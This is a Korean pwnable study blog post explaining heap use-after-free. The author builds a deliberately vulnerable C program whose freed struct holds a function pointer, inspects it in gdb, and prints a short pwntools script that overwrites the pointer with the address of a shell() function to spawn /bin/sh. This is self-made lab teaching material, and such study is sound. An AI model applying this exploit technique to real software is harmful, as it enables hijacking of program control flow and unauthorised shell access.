ipwn
[Heap] Use After Free 본문
아직까지는 heap overflow를 이용한 leak, 그리고 uaf밖에 공부를 안했는데 uaf를 한 번 정리해봐야겠다.
이러다가는 정말 공부한 거 다 까먹을 것 같아서 아무래도 정리를 해야겠다 ㅋㅋ
먼저 이 포스팅을 공부목적으로 들어오셨다면, 메모리구조를 먼저 이해하고 오시길 바란다.
공부를 할 때 블랙펄 시큐리티에 있는 글 들을 많이 참조했다.
아직 힙 구조에 대해서는 제대로 공부를 안해놨기 때문에, 공부하고 그로 인해 발생하는 취약점도 찾아봐야겠다.
여튼 uaf는 use after free의 약자인데, 이 취약점이 발생하는 이유는 생각보다 간단했고 신기했다.
#include <stdio.h> #include <stdlib.h> int main() { int *ptr1; int *ptr2; int *ptr3; ptr1 = malloc(4); *ptr1 = 0xcafebabe; printf("1. malloc : %#x, %#x\n", ptr1, *ptr1); free(ptr1); ptr2 = malloc(4); printf("2. malloc : %#x, %#x\n", ptr2, *ptr2); free(ptr2); ptr3 = malloc(1024); printf("3. malloc : %#x, %#x\n", ptr3, *ptr3); return 0; } |
음 이러한 코드가 있다고 가정할 때 출력 값은
agh04140@ubuntu:~/tmp/c$ ./example1 1. malloc : 0x8990008, 0xcafebabe 2. malloc : 0x8990008, 0xcafebabe 3. malloc : 0x8990420, 0 |
이러한 출력값을 넘겨준다.
여기서 알 수 있는 사실은 동적할당을 할 때 어떠한 알고리즘을 통해서 할당을 해주는데, heap영역에 할당을 해줄 때
free해준 만큼의 공간을 다시 다른 변수에 할당을 해준다면, 다른 공간에 할당을 해주는 것이 아니라
다시 그 공간을 재사용 한다는 것, 그리고 free를 한다고 그 공간의 값이 사라지는 것이 아니라는 점
그리고 다른 사이즈를 사용한다면 완전 다른 공간에 할당을 해준다는 것이다.
만약 함수포인터가 동적할당이 되어있다면, 우리의 바람대로 프로그램의 실행 흐름도 조작할 수 있을 것이다.
한 번 예제를 직접 만들어서 그 경우를 알아보겠다.
#include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct { char name[32]; void (*print)(void*); } test; typedef struct { char name[128]; } string; void printName(test *t) { printf("%s\n", t->name); } void shell() { setreuid(0, 0); printf("This is shell!! You know UAF vuln!\n"); system("/bin/sh"); } int main() { test* t1; string *s1; t1 = malloc(256); strcpy(t1->name, "I LOVE CHAEYOUNG"); t1->print = (void*)printName; t1->print(t1); free(t1); s1 = malloc(256); scanf("%128s", s1->name); t1->print(t1); return 0; } |
이러한 코드가 있다고 가정해보자.
일단 똑같은 사이즈만큼 malloc를 해주므로 uaf취약점이 발생한다는 것은 알 수 있다.
그리고 shell이라는 함수가 존재하므로 print라는 함수포인터를 조작해 printName함수의 주소가 아니라
shell함수의 주소를 가르키게 하면 될 것이다.
일단 가장 먼저 gdb를 열어, heap영역의 메모리를 살펴보도록 하겠다.
색칠해둔 부분이 malloc으로 동적할당 이후 지정한 값을 넘겨주는 부분을 표시한 부분이다.
이제 ebp-0x10은 heap의 첫 주소를 가르킨다. 즉 이중포인터이다.
그러므로 값을 다 넘겨주고 난 뒤에 eax가 ebp-0x10의 값을 가지는 main + 80의 부분에 bp를 걸어주고
eax 레지스터를 한 번 살펴보자.
아까 strcpy로 넘겨준 "I LOVE CHAEYOUNG"이라는 값이 아주 잘 넘겨져있다.
흠 그나저나 왜 strcpy함수가 사용되지 않고, 그냥 값을 하나하나 넘겨준 것일까?
친구한테 물어봤더니 그냥 컴파일러가 "최적화" 했다고 한다.
(아니 나는 힙에는 무조건 strcpy가 안된다거나 그런 이유가 있는 줄 알았다 ㅋㅋ)
여튼 이제 뒷 부분을 살펴보면 printName함수의 주소가 존재하는 공간이 발견될 것이다.
한 번 더 살펴보도록 하겠다.
0x804852b의 값이 printName의 주소이다.
이렇게 "I LOVE CHAEYOUNG"의 string이후 0x10의 텀 이후에 함수 포인터의 위치를 발견할 수 있었다.
즉 32칸의 공간이 함수포인터 이전에 생성되어있다.(사실 당연한 얘기지만...)
그렇다면 t1을 free한 이후 s1을 malloc해줄 때 같은 공간을 할당해주므로 scanf로 입력을 받을 때
dummy값을 32byte 넣어준 뒤 그 뒷 부분을 shell의 주소로 바꿔주면 shell이 실행될 것이다.
일단 shell함수의 주소를 가져와보겠다.
shell의 주소는 0x8048543이다.
exploit 당하지 않는 경우의 바이너리를 한 번 실행시켜보겠다.
agh04140@ubuntu:~/tmp/c$ ./uaf I LOVE CHAEYOUNG AAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA |
이렇게 정상실행시에는 printName함수가 제대로 실행이 되는 것을 알 수 있다.
하지만 dummy값을 32만큼 넘겨주고, 그 뒤를 shell함수의 주소로 덮어준다면 아마 예상대로 shell이 가져와질 것이다.
성공적으로 예상한 결과가 도출되었다.
이렇게 uaf 취약점은 발생하고 또 exploit할 수 있다.
from pwn import * p = process("./uaf"); shell = 0x8048543 pay = '' pay += 'A'*32 pay += p32(shell) p.send(pay) p.recv(1024) p.interactive() p.close() |
solve.py
스크립트도 겨우 10줄 넘는 것 같다.
이제 힙 구조를 한 번 알아보고, 그 것도 정리해서 블로그에 포스팅해야겠다.
혹시나 바이너리가 필요하신 분이 계실까봐 바이너리도 첨부하겠습니다.
틀린 부분이 있거나 부족하다고 생각되는 부분은 피드백 해주세요...ㅠㅠ
아직 많이 부족한 고등학생입니다..ㅠㅠ
'Pwnable' 카테고리의 다른 글
[Pwnable] close된 stdin, stdout 열기 (0) | 2018.11.14 |
---|---|
[pwnable] Format String Bug (0) | 2018.07.31 |
[pwnable] Blind ROP (0) | 2018.07.28 |
[Heap] House of force (0) | 2018.05.14 |